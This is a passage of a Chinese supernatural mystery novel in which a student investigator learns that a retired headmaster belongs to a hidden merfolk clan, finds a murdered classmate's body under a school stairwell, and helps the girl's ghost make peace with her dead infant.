宋明夷瞪大眼睛仔细地听着，她像是一个听故事的人，听着他人的经历——虽然昨天晚上发生的事情她也算是有亲身经历。
但她完全不记得了。
昨晚她的身体像是中邪一样，所有的举动都不由自己控制，甚至是……像狗一样咬伤林凌的事情也忘了个一干二净。
“对不起林大哥！我不知道我还咬了你一口！你没事吧？！！有没有流血？”宋明夷拉着林凌的手，一把撸起他的袖子，果然在林凌的手臂上看到了两个浅浅的牙印，见状，她的脸色更白了几分。
林凌倒是瞒不在意地一笑：“没事，只是被你咬了一口而已，我身体好着呢，我们当警察的可没有那么弱，你就是再咬上十口，我眼睛都不眨一下。”
吴妄嘲讽：“林凌，要不要去打一针狂犬病疫苗啊？”
“滚！”
宋明夷一个怒摔，将枕头摔在了吴妄脸上，但被他一把抓住了。
“好了，我们言归正传，既然你没有事情，那我也放心了。明夷，我打算明天去见一见马老校长，毕竟要找到人鱼镜，他才是最关键的人物。另外，我明天晚上还要去一次404女寝，我需要完成祭魂的意识，并且在祭魂之前，我要找到刘悦的尸体，这样才能顺利完成对李艾的祭魂。”
“那……刘悦的尸体在2号楼的楼梯间吗？”
“应该是，我看李艾的日记里是这么写的。”
“2号楼……就是我们玩四人游戏的那个地方吧？”
“对，我们是在2号楼的一楼活动室玩的游戏。”
“说到这个……沈聆，我昨天不是用手机偷偷拍摄了我们玩四人游戏的视频吗？刚才我自己在用手机编辑视频的时候，发现我偷拍到的视频里，我们玩游戏的时候，好像有一个人站在外面看着我们……”
宋明夷说着，拿起手机，在相册里翻了翻，找到了自己还没有剪辑的原始视频。
她拉了一下视频的进度，视频的前半部分，都是他们做游戏的画面——由于宋明夷开启了夜视功能，因此虽然在黑暗中，也能拍到活动室四个人的身影。
就在他们玩游戏的时候，从窗前跑过的宋明夷，镜头晃动中拍到了一个站在走廊、面朝活动室的人。
那个人就站在走廊，冷冷地看着活动室里的四个人，一动不动。
视频中，那张苍白的脸一闪而过，面无血色，如同死尸。
宋明夷点击了一下暂停视频，并放大了这视频的页面，大家凑近一看，忍不住屏住呼吸。
“这个人是……秦琴？”
162. 马老校长
事情似乎比沈聆想象中更复杂一点。
在那段宋明夷无意间录制下来的手机视频之中，令人毛骨悚然的一幕赫然映入众人眼帘——一张再熟悉不过的面庞清晰地呈现在屏幕之上，竟然是秦琴！
然而，众所周知的是，秦琴早已命丧黄泉多时。可是，匪夷所思的事情就这样发生了，就在那天，当他们兴致勃勃地玩着那个四人游戏时，宋明夷手中的手机所拍摄到的画面里，居然出现了一个与秦琴相似度极高的容颜。
但这张面孔和秦琴有着八分类似，却又有着明显的异样。
它没有丝毫生气可言，仿佛全身的生命力都已被尽数抽空，原本圆润的脸颊深深地凹陷进去，显得极为瘦削；那双眼睛空洞无神，犹如两口干涸的深井，失去了往日的神采奕奕。
尤其引人注目的是，眼窝下方还挂着两个如墨般漆黑的浓重黑眼圈，让人不禁联想起那些长期饱受折磨、夜不能寐之人。
而此刻，这个神秘的身影正静静地伫立在窗外的走廊处，朝着屋内凝视过来，但那视线却又仿佛无法聚焦一样，空洞无神。若仔细观察，便会发现她并非只是简单地站立在那里，那种姿势更像是一种僵硬的“直立”，给人一种阴森诡异之感。
“我记得……那天晚上只有保安老陈在走廊外等我们。”沈聆认真回想了一下，眉头深锁。
吴妄沉了沉声音：“嗯，但是保安老陈也不是什么……善类。”
沈聆抬眼，看向了站在身后的吴妄：“大概率，不是人。”
宋明夷感觉到一阵恶寒：“小聆聆，你们学校怎么回事啊，怎么阴森森的……”
“我也不知道，我以前没感觉到这么邪门的，自从干了这一行，感觉看东西的角度都变了。”沈聆叹了口气，“或许是因为我们学校之前建在乱葬岗上吧，这个地方本来就比较阴森一点，再加上或许还有人鱼镜在我们学校里，影响了我们学校的磁场，就导致一些本不该出现的东西出现在了这里。”
人鱼镜。
“有可能的。”吴妄揣测，“我曾经在书籍上看到，人鱼镜本身是镜子，镜子是聚阴之物，人鱼镜所处的位置会比周边更加阴邪一点，或许是人鱼镜的特殊作用，让陵川一中这个地界更阴寒一点，所以经常发生邪祟作孽。”
“我觉得，我明天得去找找马老校长，毕竟是他委托我们调查这件事情的，现在，调查有了点眉目，但是需要他的帮助，我们才能继续推进下去。”
就在此时，一个声音突兀地从身后传来——
“你们需要我做什么？”
众人寻声看去，只见一个面色威严的老人家不知何时出现在急诊病房的门口，在他身旁站着的，还有沈聆的外婆。
“外婆？”沈聆忙起身迎了上去。
外婆点了点头：“我刚才上去看凝娃子，想着你们也要过来医院一趟，正好，老马定期要来医院给孙子拿点精神方面的镇定药，我就把他约过来了，你们有什么事情，可以直接跟老马说。”
外婆身边站着一位头发灰白的老伯。
“你们好，我是陵川一中的前任校长。”
他看起来大概有六十多岁的年纪，老校长那饱经风霜的脸上，刻满了岁月的痕迹，他的额头像是一片广袤的田野，布满了深浅不一的皱纹，稀疏而花白的头发整齐地向后梳着，就像冬日里覆盖着白雪的枯草地。
他的眉毛依旧浓密，只是颜色已经变淡，宛如两抹淡淡的墨痕，微微上扬的眉梢总是带着几分和蔼与慈祥，深陷的眼眶里，镶嵌着一双深邃而明亮的眼睛，目光如炬，一点看不出上了岁数的沧桑。
他的嘴唇有些干裂，嘴角下压，他那有些松弛的皮肤挂在脸颊两侧，随着他的话语和表情微微颤动，更添了几分岁月感。
“马老校长您好，我是陵川一中高三的学生，我叫沈聆。”
沈聆正色介绍着自己。
不知道为什么，跟马老校长说话的时候，她会不自觉地紧张几分，就像是在学校里跟老师讲话一样，马老校长话里话外总带着几分不怒自威的严肃，让人不由得绷住表情跟他说话。
“嗯，我知道你，你是婉年的外孙女……”马老校长打量的视线在沈聆身上转了一圈后，回到了外婆身上，“婉年啊，你这外孙女跟你年轻的时候长得还挺像的，特别是眼角眉梢，就是没有你当年那么古灵精怪，看着比你沉稳一点。”
“我家娃娃那当然是‘青出于蓝而胜于蓝’了。”外婆轻轻一笑，眼角眉梢带着皱纹，但眼神却温柔如水。
“你说……你叫沈聆？”
“是。”
“你们昨天调查的事情，有线索了吗？”
沈聆微微侧过身，先跟老校长介绍了一下他们去学校调查的一行人。
“这位是陵川市公安局的警察，林凌；这位是青城山，吴妄道长；这位是平安医院的产科护士，宋明夷，也是有名的灵异主播……我们昨天四个人一起到陵川一中调查，如你所料，我们倒是也遇到了一些很特别的事情，正好想找个机会跟您汇报……”
于是乎，沈聆将昨天晚上大家的经历，详细地跟老校长说了一遍，包括在舞蹈室里看到的鬼魂、在活动室里做的游戏、在楼梯间里发现的第13级台阶，以及最后404女寝的惨案……从头到尾，毫无保留。
自然，也包括了刘悦和他的孙子马伯良之间的事情。
当马老校长听闻自己竟然还有一个曾孙时，他整个人如遭雷击般愣住了。
只见他那原本松弛的面部肌肉瞬间紧绷起来，双眼微眯成一条细缝，透露出一抹难以言喻的严肃神情，那双眼眸此刻却仿佛被一层厚厚的阴云所笼罩，其中充斥着满满的怀疑之色，不敢置信自己的孙子居然会瞒着自己让同班同学未婚先孕！
然而，随着沈聆详细地描绘出那个所谓的“鬼婴”模样时，他却又愣住了。
那鬼婴长着一条如同美人鱼般摇曳生姿的尾巴，以及浑身布满了密密麻麻、闪烁
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着诡异光泽的鳞片，这不是一个正常婴儿的样貌，在常人看来，或许是一个畸形的孩子，但在他看来，却并非如此。
在讲到鬼婴时，沈聆发现，马老校长的反应发生了微妙的变化，他那原本眯紧的双眼竟不由自主地微微睁大，眼中闪烁着几分复杂难辨的情绪：有震惊、有恐惧、亦有难以置信……以及这一切情绪汹涌之后，只剩下了悲凉。
他那紧闭的双唇也略微张开了一些，似乎想要说些什么，但最终还是化作了一声长长的叹息从口中缓缓吐出。
这声叹息仿佛承载了他心中无尽的哀伤与无奈，令人闻之心酸不已。
但悲剧的事情，还不止如此。
沈聆在外婆和马老校长的震惊下，继续讲述了曾经发生在404的惨案，当马老校长得知自己的曾孙不仅惨遭杀害，而且还被刘悦残忍地分尸之时，他的身体猛地一颤，像是无法承受如此沉重打击一般。
可悲哀的是，杀死自己曾孙的刘悦，那个自己孙子的心上人，最后也被404的其他三个女孩子杀害、藏尸……
这些花样年华的女孩子，却做着如此残忍的事情，还是在他曾经任职的学校，贯彻着他定下的教育方针，不知道该说是他教育的失败，还是学校管理的失职。
“……”
马老校长缓缓低下头去，再也不愿抬起，更没有说出哪怕只言片语。
说完这一切后，整个房间里顿时陷入一片死寂之中，一时间，谁都没有说话，大家似乎都在默默消化着那场曾经发生在404女寝中的不为人知的惊心动魄的悲剧。
“马老校长，有件事情想麻烦您……”
“我知道，你们是想找到刘悦的尸体吧。”
“对的，按照李艾的日记所言，刘悦的尸体被埋在了2号楼1楼楼梯间的台阶下，我对了一下时间，当时我们学校确实在翻新那个楼梯，李艾没有必要在私人日记里撒谎，所以我觉得……”
“我知道了。”马老校长抬手，稍稍制止了沈聆的话，“很感谢你们这些孩子漏夜调查陵川一中的事情，我也大概知道了事情的来龙去脉。我会通知一下现任校长，让他明天就安排人检查一下楼梯间，如果是真的，估计……这件事情的舆论也没办法压制了。”
他是为了学校的名声考虑
如果让外界知道陵川一中发生的事情，这个学校的名誉就全毁了。
“压不住的。”外婆意味深长地看着老马，“老马，你是为了陵川一中的名声考虑，你想压下这件事情，我可以理解，但是，刘悦的家长是什么心情，你能想象吗？他们到现在都还没有找到自家的娃娃，尸体下落不明，是死是活也未可知，整日活在痛苦与侥幸的煎熬中，这不是你我能想象的。”
“唉……”
“既然孩子们曾经做错了事情，那他们也算是得到惩罚了，你孙子不是也被自己的幻觉折磨得住进了精神科吗？让我们堂堂正正结束这件事情吧，这样对死者、生者都有一个交代。”
163. 人鱼一族
马老校长听了外婆的话，也觉得这件事情并不是遮掩就能过去的。
毕竟是发生在自己学校里的事情，而且涉及到这件事情的人（鬼）甚至阴魂不散地徘徊在学校里，无论是给404女寝，还是教学区都带来了极大的影响。
如果不从根本上解决这个事情，恐怕会有更多无辜的人被连累。
“陵川一中从很早以前开始，就是一个特殊的地方，从我当校长的第一天起，我就知道这件事情。”
马老校长缓缓地抬起那略显沉重的头颅，目光悠悠地望向了窗外。
窗外，如墨般漆黑的夜色宛如一张巨大而深邃的帷幕，铺天盖地地笼罩着整个世界，没有一丝星光闪烁其中，只有无尽的黑暗和寂静弥漫开来。
马老校长的眼眸仿佛被这无边的夜色所浸染，原本明亮而睿智的眼神此刻竟也带上了几分夜色的深沉与凝重，那深深的眼窝中，似有千言万语在涌动，但最终都化作了一声轻叹，消失在了这沉沉的夜幕之中。
他看向了沈聆：“我们学校最开始是乱葬岗，这想必你们也知道，”
“嗯，也有一些比较奇怪的传言在学校的论坛和贴吧，但是以前我都以为是无稽之谈，所以没有在意。”
“其实……那些传言并非没有根据，我们学校阴气很重，之前也有开发商尝试过承包并建房子，但大部分工程都很不顺利，不是出现安全生产事故，就是工人频发意外，久而久之，大家都认为这个地方不吉利，不适合住人，于是，当时一个人提出，或许，可以修建学校，用学校这样的福祉，来镇住阴魂。”
“这些事情原来是真的？”
沈聆好奇地看着马老校长。
要知道，这些事情从学生口中说出和老校长口中说出是两种不同的感觉。
在学生们中间流传的，大部分是添油加醋的玄学版本，但从老校长口中说出的事情，那就完全是过去的真人真事了，更让这个学校平添了几分神秘感。
“这些都是真的，修建了学校之后呢，奇怪的事情是比较少了点，但并不是没有，偶尔也有学生会看到一些不干净的东西，所以在我担任校长的时候，我也曾经请术士看风水，在学校的各个风水穴放上一些石头镇压。”
老校长用沙哑的声音讲述着过去的故事，那些已经泛黄的记忆，似乎也在回忆中逐渐浸染了几分黄昏色。
“但是光是如此还不够，在陵川一中这片土地下，曾经埋了许多无名尸体，有罪大恶极的死刑犯，也有路边发现的流浪人……这个地方阴气太重了，不是用‘风水布阵’就能化解的”。
“所以，您想到了人鱼镜？”
吴妄略显突兀地打断了老校长的话，他看着老校长的眼神里带着几分揣摩，带着几分考量的意味。
“对，人鱼镜，这是人鱼一族流传了千年的宝物，可照世事、明天理，人鱼镜属阴，有聚阴之效，越是阴寒的地方，越能滋养人鱼镜，并且，人鱼镜在吞噬了阴气后，便能减少周遭作祟的邪魅。”
马老校长没有丝毫想要隐瞒的意思，毕竟事情已经调查到了这一步，大家都不是外人，都是来解决这个事情的人。
索性，他将所有的事情都挑明了。
大家敞开天窗、说亮话。
“人鱼镜果然就在陵川一中？”
“是的，我，就是现任人鱼族的组长，人鱼镜，就是我放在陵川一中的。”
马老校长缓缓地抬起了头，目光如炬般扫视着在场的每一个人。
他那张布满皱纹的脸上此刻没有丝毫笑容，取而代之的是一种令人心生敬畏的严肃神情。
只见他微微眯起双眼，那深邃而又锐利的目光仿佛能够穿透人们的灵魂一般，从这严肃的眼神之中，可以清晰地感受到一股沉甸甸的力量，那正是他身为族长所要肩负起的重大使命。
这份使命犹如一座大山压在他的肩头，但他却始终坚定不移地扛着，从未有过丝毫退缩之意。
“我们人鱼一族，一直以来都是贪婪之人猎杀的目标，传说人鱼的肉吃了可长生、可驻容颜不老，所以从千年以来，我们都是猎人的猎杀目标，他们没有把我们当做‘人’来看待，而是把我们当做一种可以被捕杀、吃掉的生物。”
老校长叹了口气，脑海中浮现出自己曾经见过的画面。
“你们或许不知道，这个世界上有一种人，专门猎杀我们人鱼，如果被这些人抓到我们，就要刮掉我们的鳞片，砍去我们的尾巴，他们把我们放入锅内蒸煮，煮三天三夜后，直到所有的皮肉都从骨头上剥离殆尽，去骨、存肉、食用。”
马老校长的语气十分沉重，可以想象，他的族人为了逃避猎杀，付出了多大的代价，也可以想象，他们是如何在颠沛流离中一点点找到生存的办法。
“也是为了躲避猎杀，人鱼族的先祖们才决定隐于世间，于是，我们人鱼一族化姓氏为马，藏在了芸芸众生中，我们带着人鱼镜，每当有人发现我们的身份的时候，我们便会转移族人到新的地方……而我，也是找了好久，才找到了陵川市，在我们刚在陵川市落脚的时候，这里还是一个没有玄学术士纷争的地方，这里民风淳朴，大家并没有太多的物欲，也对人鱼一族的秘闻不甚了解，于是我当了陵川一中的校长，并利用陵川一中的特殊性，将人鱼镜藏在了那里。”
一向乐观的宋明夷在听了人鱼族的遭遇后也不由得叹气：“只是……您没想到，陵川一中会在您退休之后发生这些事情。”
“对，我不知道伯良居然和那个叫刘悦的女孩子有过一段感情，甚至……甚至还有孩子。”
林凌也不由得心生恻隐：“所以，刘悦生下的孩子，本身就带着鳞片和鱼尾巴，这是因为他是人鱼一族的后代，而不是什么畸形的孩子？”
“是的，我们人鱼族刚生下来的时候都是带着尾巴的，在成长过程中，才会逐渐褪去鱼尾巴，化为人的双腿，并开始学习直立行走。
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在这个过程中，我们的鳞片会逐渐隐藏在皮肤下，我们会长出和你们人类一样的汗毛，但是如果在面对危险的时候，我们皮下的鳞片却依旧有防身御寒的作用，毕竟这是我们血源里带着的东西，也是我们的传承。”
“但是……刘悦不知道这件事情，她还以为自己生了个畸形的孩子。她不想给马伯良添麻烦，所以……在生下那个孩子之后，亲手杀死了她。”
沈聆沉着声音，叹了口气。
她比起在座的其他人，更能感受到刘悦那份无奈又悲哀的心情。
她通过灵元草，亲眼看到了刘悦杀死孩子的场景，看到了当时刘悦的表情，完全感同身受了那份不为人知的绝望。
她满心欢喜生下来的孩子，还以为这是自己和所爱之人的爱情结晶，但实际上，却误以为是个不被世人所接受的畸形儿。
绝望之下，她选择抛弃那个孩子，也抛弃了自己当母亲的权利。
“她太可怜了……如果可以的话，马老校长，我想，明天就帮她找到自己的尸体，我认为李艾的日记应该不会说谎，这是李艾让我找的东西，说明她们也愿意让我们找到尸体，她们才能赎罪。”
马老校长点了点头，在这件事的处理方式上，他没有其他的异议。
“此外……马老校长，我还想问一下，你们和梁家是什么关系？”
“梁家？”马老校长沉默了一下，低下眼眸，在脑海中认真回想了一下，“关系不是很深，因为他们家有钱，曾经给学校投资过许多钱，所以我和梁家现任家主——梁业有过几分交情，前几天他老母亲过世，我也去参加了葬礼，仅此而已。”
“那么……他们应该还不知道人鱼镜的下落吧？”
“他们并不知道，人鱼镜是我们族的至宝，我怎么可能轻易告诉他人。”
“那就好。我怀疑……梁家也在觊觎人鱼镜。”沈聆严肃地说，“马老校长，您的孙子之所以会看到刘悦的鬼魂、产生一系列幻觉，是因为有人给他下药了，而那个人，就是梁家的二少爷，梁林。”
“什么？”马老校长吃惊地睁大了双眼。
“是真的，这……还是您的曾孙告诉我们的，它控制了李艾的魂魄，并在李艾的记忆里看到了梁林曾经给李艾一包可疑的粉末，并且告诉她只要下在马伯良的食物里、让他吃进去，就能抓住这个男人的心……李艾太蠢了，她真的这么做的，自那之后，您的孙子才开始产生幻觉，甚至闹到要住进精神科的程度。”
“那这跟人鱼镜有什么联系？”
“接下来便是我个人的假设……假设，如果您没有来找我们，那么不过几天，梁家应该就会上门跟您提议——他们有治好您孙子病症的解药……毕竟毒药也是来自他们之手，解药他们应该也会捏在手上。为了救孙子，想必您一定无所不从，到那时，他们就会提出一个跟您交换的筹码，而您能拿出的最好的筹码……”
“我知道了，是人鱼镜。”
164. 结案
第三天清晨。
沈聆再一次去了葱油饼摊铺。
她买了李艾母亲所做的葱油饼，并在那边看到了梁林，梁林告诉她，李艾的母亲没有找到李艾的日记，但沈聆笑了笑跟他说没关系，他们已经暂时不需要这本日记本了。
当天晚上，沈聆在马老校长的同意下，再一次来到了陵川一中。
她来到了404女寝。
这一次，刘悦没有出现，鬼婴也没有出现。
她完成了李艾的祭祀任务，并告诉李艾，自己去看过她妈妈了，她妈妈现在情况还好，虽然一个人，但每天都在认真工作，相信会逐渐走出失去孩子的伤痛。
李艾听了沈聆的话，没有说什么，只是感激地点了点头。
但和之前祭魂不同的是，李艾暂时没有办法往生。
鬼婴似乎依旧囚禁着李艾的魂魄，它的态度似乎很坚定——不给她们母子一个回答，这三个女孩子别想投胎转世。
在沈聆祭魂的这一夜，鬼婴没有出现，它在暗处看着她，但就是不愿意现身。
沈聆知道，它暂时还在观望，想看看他们是否真的能找到自己母亲的尸体，以及，是否真的能满足它之前所说的心愿。
沈聆对着无人的宿舍，承诺会完成他们的遗愿。
第四天。
马老校长亲自回了一趟陵川一中。
他似乎用了一整个早上的时间，跟现任校长解释了一下近来发生在陵川一中的怪事。
从校方利益的最大化考虑，现任校长虽然对马老校长说的话不是很相信，但还是听从了马老校长的建议，毕竟现在刘悦下落不明，刘悦的家长也屡次到学校闹事，为了给家长一个交代，也为了那死去的三个女孩子考虑，校领导秘密召开了一次会议，经过研究部署，同意了马老校长的提议。
当天下午，陵川一中放学后，在现任校长的主持下，学校找来了施工队，对2号楼的楼梯间进行了挖掘。
本次挖掘对外保密，先说是2号楼的楼梯间发生了水管破裂的事情，需要重新对楼梯间的水管走向进行改造维修。
他们钻开了已经修好的楼梯，并一级台阶一级台阶地找。
果然，在第一级台阶下，那封住的水泥中发现了一个类似人轮廓，他们进一步用小钻子挖出了那奇怪的类似于尸骸的东西后，钻去了表面的水泥层，赫然看到了人类的手指。
当即，校方就报警了。
陵川市公安局接到了陵川一中的报警电话后，李队长带着林凌等一行人赶到了现场。
他们对挖出来的尸体进行保存，并送往法医处进行DNA鉴定。
此外，对所有决策、参与施工的人都做了问询笔录。
但在此之前，马老校长就已经统一了所有人的口径，对外一致说是之前的施工队做了豆腐渣工程，出于对学生们人身安全的考虑，因此对楼梯间的楼梯进行重新维修，无意中发现了被藏在楼梯下的尸体。
这个口径听着有点儿敷衍，但是仔细考量却又拿不出什么反驳的证据。
于是乎，李队长又带人盘查了之前的施工队，发现所有人都和死者素不相识，并且，他们也并不知道是什么时候尸体被藏在那没有干的水泥中，又被封存在楼梯间里的。
工程队的所有施工进度都是按照工程规范进行，因为当时楼梯间没有监控，因此也没办法继续追查是谁在楼梯间抛尸。
经过DNA比对，死者确实就是失踪的刘悦。
鉴定结果一出，刘悦的爸妈首先闹起来，不同意自己的孩子在学校里受了委屈，长时间找不到尸体不说，甚至也找不到杀死孩子的人。
刘悦的爸妈在校门口拉起了横幅，静坐示威，声称要学校还自己孩子一条命。
他们叫来了自家的亲戚朋友，在陵川一中的校门口高喊着“学校杀了我的孩子”，他们口口声声说孩子死在学校里，背后一定有更大的阴谋，他们呼吁媒体关注自家孩子死亡的新闻，并且买了微博热搜，势必要把这件事情闹大，不闹到人尽皆知的地步不罢休。
但就在这时，沈聆出现了。
她刚从陵川市妇幼保健院回来，她在马老校长的帮助下，通过学校的档案拿到了刘悦的身份证信息，并从妇幼保健院调取、打印了病历本的复制本，她将这本病历本交给了刘悦的父母，并将刘悦生前怀孕到产子的事情都说了一遍过去。
在听到自家孩子未婚先孕的消息的时候，刘悦的父母先是激动地要轰走沈聆，但在看到病历本上孩子的身份证号、照片、甚至是电子签名后，他们也愣住了，这对常年在外地打工的父母，这才发现自己对孩子的漠视居然酿成大祸，因为亲子关系的疏远，让刘悦即使怀孕了也不敢跟父母说，她请假回了老家，在老家的四个月里，自己住在老家的破房子里，数着月份待产，就是在这样的心情下，才出现了这样的悲剧。
得知一切后的刘悦父母深感教子不善，他们无颜面继续在校门口声讨什么，只能灰溜溜地离开了陵川一中。
第六天。
马老校长带着精神情况稳定一点的马伯良来到了刘悦家，马老校长按着自己的孙子，让自己的孙子给刘悦的父母磕了三个头。
马伯良声泪俱下地跪在地上向刘悦的父母道歉，说自己是真心爱护刘悦的，原本打算两人考上大学后就交往、结婚，没想到出了这样的悲剧。
他是带着一腔真诚和刘悦相处，但两个未成年人显然没有考虑过青春期擅尝禁果会有什么后果。
他说刘悦在发现自己怀孕的时候，第一时间就告诉了他，他是知道刘悦已经怀孕的事情，但担心双方家长反对，于是两人打算偷偷生下孩子，等法定年龄到了，再登记结婚、给孩子上户口，并且跟刘悦保证，这是他们的孩子，生下孩子后他绝对不会不认。
也是因为这么一句承诺，刘悦才打消了流产的念头，安心产检，怀着和马伯良永远在一起的天真的想法，生下了带着鱼尾巴的孩子。
刘悦的父母听了这些话，泪流不止。
他们为孩子的无知叹息，
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也为自己在孩子过程中的缺位而自责。
木已成舟。
刘悦现在已经死了，他们也没有其他的办法。
但刘悦和马伯良的事情虽然弄清楚了，可还有一件事情仍旧存在疑点——是谁杀死了刘悦？
尸体的头颅有凹陷，估计是受到外力而死，而那天是报道的时间，宿舍和教室，便是最可疑的地方。
在林凌的提醒下，李队长对刘悦生前住的404宿舍进行了深入调查，警方用鲁米诺试剂对展开了一遍地毯式搜索，果然，在404卫生间里发现了血迹反应。
这些血迹经过DNA比对，证实是刘悦的血迹，血迹在洗手池边，并呈现出飞溅状，按照痕迹还原，应该是受害人生前磕到了水池后不慎死亡。
404的其他三个女孩子作为刘悦的舍友，便成为了众矢之的。
有的人猜测，是刘悦在卫生间滑了一跤，脑袋磕到洗手池后意外死亡，三个舍友担心牵连到自己，于是草草处理了尸体。
也有人猜测，就是这三个女孩子杀掉了刘悦，还藏尸在楼梯间，制造成刘悦失踪的假象。
无论真相是什么，三个女孩子都已经死了，这些事情都无从查证，警方找到了用来搬运尸体的行李箱，也从监控摄像头中核实了某天夜里这三个女孩子确实带着行李箱离开过404女寝，但却没办法验证她们搬运尸体的目的究竟是为何。
因为这三个女孩子目前也已经死亡，刘悦的父母也没办法对三个女孩子追究任何责任。
但三个女孩子的父母，也各自对刘悦父母作出赔偿，算是为这件事情划上了一个句号。
那三个女孩子究竟是怎么死的呢？
外界更加众说纷纭起来。
因为他们的死亡是经过警方调查过的，确认没有任何人为的痕迹，只能以猝死结案，这就更引起了大家的关注。
大家纷纷在背地里传言，是刘悦的鬼魂索命，杀死了404的三个舍友。
她们死得突然，死状惨然，实在是引人遐想。
但究竟在那一晚，她们经历了多恐怖的故事，那也只有她们三个人才知道了。
在刘悦的事情曝光之后，同班同学开始陆续在□□群里曝光那三个女孩子经常羞辱、欺负刘悦的事情，宋明夷以“小小夷”的账号，对刘悦生前所遭受到的校园暴力进行了一次专门的报道陈述，校园暴力、校园欺凌再一次被引上了热门话题。
如何正确看待校园暴力？
如何保护校园暴力中的受害人？
一时间，成了陵川一中要整改的校风问题。
看到404女生宿舍发生的悲剧，原先校园中的霸凌者，也因此有所收敛，不再顶风作案。
此外，电视台也针对陵川一中的事情做了特别报道，在报道中，重点呼吁大家关注孩子的身心健康，尤其是家长和老师，家长要多关心孩子的心理动态，老师也要正确引导校园早恋事件，减少此类悲剧的发生。
至此，陵川一中女寝事件调查结束。
165. 马念悦
入夜，走廊的风带着几分凉意，这宿舍的风似乎永远不会暖起来，那穿过走廊的风总带着几分呼啸的声音，像是恶灵的轻叹，也像是女子的啜泣。
迎着那走廊的风，沈聆站在女生宿舍四楼的走廊尽头，昏暗的灯光在她头顶摇曳，投下诡异的影子。
她的目光紧紧盯着那扇标有“404”的宿舍门，心中涌起一股难以名状的不安。
深吸一口气，沈聆走到了404女寝的门外，缓缓伸出手，握住了那把略显陈旧的门把手。
“吱呀……”门轴发出一声尖锐的吱呀声，仿佛在抗议她的闯入。
宿舍内弥漫着一股陈旧而阴冷的气息，让她不禁打了个寒战，从阳台吹来的风，卷起了地上的符咒，将那些残破的符纸卷了一地。
沈聆小心翼翼地迈进宿舍月光透过窗户洒在地面上，映照出模糊的轮廓。
她的眼睛逐渐适应了黑暗，她抬起头看着正对着宿舍门的镜子，在镜子里，她看到了自己的，但逐渐的，镜子里的她面容却稍有改变，身体还是她的身体，脸，却是刘悦的脸。
突然，一阵冷风吹过，沈聆的头发被轻轻吹起，那一瞬间，她仿佛感觉到有一双眼睛在背后盯着她，让她的脊背发凉。
“刘悦，是你吧。”
镜子里的刘悦没有说话，但她就这么静静地看着沈聆，似乎在等着沈聆继续说下去。
“我已经找到了你的尸体，并且警方已经联系上了你的家人，确认那就是你的尸体……你的父母，已经知道了你的死讯，并且，大家也知道了那三个女孩子曾经对你做过的事情……很遗憾，在那之前，我没能帮到你，只能以这样的方式知道你的故事。”
刘悦继续沉默着，似乎在默默听着沈聆的话。
“至于马伯良……他最近的精神情况稳定了一点，你可能不知道，在你死后，李艾曾经听信谗言，给他下药，让马伯良频频出现幻觉，叫嚷着看到你的鬼魂……其实李艾也是被人利用了，是梁家想借助李艾的手，让马伯良疯了，从而他们在拿出解药，威胁马家……对，接下来，就是我想告诉你们的事情，刘悦，你的孩子，并不是畸形的孩子。”
沈聆说着，抬起头看向了空荡荡的房间。
夜色之中，房间里似乎有什么东西和她擦身而过，带着的风都裹着寒意，就连她呼出的气息似乎也染上了这寒意，她微微回过头，看见一个半透明的婴儿若隐若现地浮现在身后的空气中。
她知道，那是刘悦的孩子。
“刘悦，你知道马伯良的真实身份吗？其实马家并不是普通人，他们是人鱼族，马老校长是人鱼族的族长，他们的族人刚生下来的时候就是鱼尾巴、带鳞片的，在长大的过程中，为了保护自己，他们会逐渐退化鱼尾巴，长成人类的模样，他们藏在人群中，伪装成正常的人类，是为了逃避人类的猎杀……马伯良没有告诉你这些，是因为这是他们这一族的秘密，而且，他并不知道刚出生的孩子会因为带着人鱼的血脉，而具有人鱼族的特征……”
沈聆的声音有点儿颤抖，她一字一句地说着，在漆黑的夜色中，她的声音清晰可闻。
但每一个字，都像是一把刀一样，插在刘悦那已经不再跳动的心房上。
镜子里的刘悦微微睁大了眼睛，有点儿难以置信地看着沈聆。
她似乎难以相信原来这一切不过是自己的误会，自己生下的孩子并没有问题，而是它天生血脉里带着的传承……
那鱼尾巴、鱼鳞，都不是畸形发育的结果，而是正常的人鱼血脉的体现……
刘悦静静地站在那里，耳朵里灌满了沈聆所说的每一个字。
当听到关键信息时，她的脸上首先浮现出一丝庆幸之色，这庆幸就像是久旱逢甘霖一般，瞬间滋润了她那颗一直悬着的心。
她暗自松了一口气，心中默默感激上苍眷顾，让自己没有辜负心爱之人的情意，毕竟，对于任何一个母亲来说，能为爱人诞下健康的宝宝都是最殷切的期望。
然而，这种轻松并未持续太久。
就在刘悦还沉浸在庆幸中的时候，她的目光不由自主地转向了那个悬浮在半空中的鬼婴灵体，那小小的身影若隐若现，仿佛被一层神秘的薄纱所笼罩，却又清晰可见其面容上的痛苦与哀怨。
它已经死了，哪怕不是一个畸形的孩子，也已经死了，而且，是被她这个母亲亲手杀死的。
望着眼前这个本该是自己亲骨肉的存在，刘悦的内心深处猛地涌起一股无法遏制的悲伤。
那悲伤如同决堤的洪水，迅速淹没了她整个人。
血泪不受控制地夺眶而出，顺着脸颊滑落，镜子里的刘悦张了张嘴，想要说些什么来表达自己对这个无辜生命的歉意和愧疚，可喉咙却像被一只无形的大手紧紧扼住，发不出半点声音，唯有那凄厉的鬼音，在寂静的宿舍里轻轻地回响着，宛如一首悲凉的挽歌。
“马伯良说……孩子就叫马念悦，好吗？”沈聆转过头，看向了鬼婴，“孩子，你爸爸并不是不接受你的存在，他也在等待着你的降临，只不过这之后发生了一些误会，让你夭折了。”
马念悦。
马念悦。
马念悦……
刘悦听着反复想着这个名字，默默点了点头。
她也喜欢这个名字，她的孩子被马家承认了。
只可惜，她和马伯良，永远阴阳两隔了。
她曾经每晚留恋在两人相遇的舞蹈室，跳着马伯良给她改编的舞曲，但无论她如何等待，终究是回不到曾经了……
【谢谢你，沈聆。】
刘悦的声音在耳畔响起，她的声音很轻，仿佛如游丝一样随时可能断去。
沈聆转头看向了镜子里的刘悦，发现她正看着悬浮在半空的鬼婴。
【对不起，孩子，是妈妈对不起你，妈妈还以为你是个畸形的孩子……】
鬼婴没有五官，它只是愣怔地看向刘悦的方向，似乎也听懂了刘悦的话。
它缓缓落在了地上，摇着它那鱼尾巴，似乎在回应着母亲。
【孩子，把李艾她们放了吧，过去的事
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情，就让她们过去吧，我们也应该去另一个世界了。】
【你有名字了，你叫马念悦，如果可以的话，真想让你看看外面的世界啊，看看那阳光草地，看看那繁华的人间……】
“这个，或许可以做到。”沈聆说着，蹲下身看了看可怜兮兮的鬼婴。
鬼婴不明所以地抬起头，沈聆指了指宿舍门的方向。
